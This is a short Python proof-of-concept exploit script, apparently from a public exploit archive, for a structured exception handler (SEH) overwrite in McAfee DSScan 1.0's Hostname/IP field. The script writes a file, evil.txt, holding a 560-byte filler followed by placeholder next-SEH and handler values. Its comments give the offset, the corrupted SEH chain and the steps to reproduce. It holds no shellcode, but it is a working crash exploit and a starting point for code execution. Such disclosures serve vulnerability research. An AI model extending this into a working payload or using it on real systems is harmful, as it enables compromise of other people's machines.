#!/usr/bin/python
# Exploit Title     : DSScan v1.0 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Website      : http://pyramidcyber.com/
# Discovery Date    : 18/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 10 Home x64 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0019F900   43434343
#42424242   *** CORRUPT ENTRY ***

 
# Offset to the SEH Frame is 560
buffer = "A"*560
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()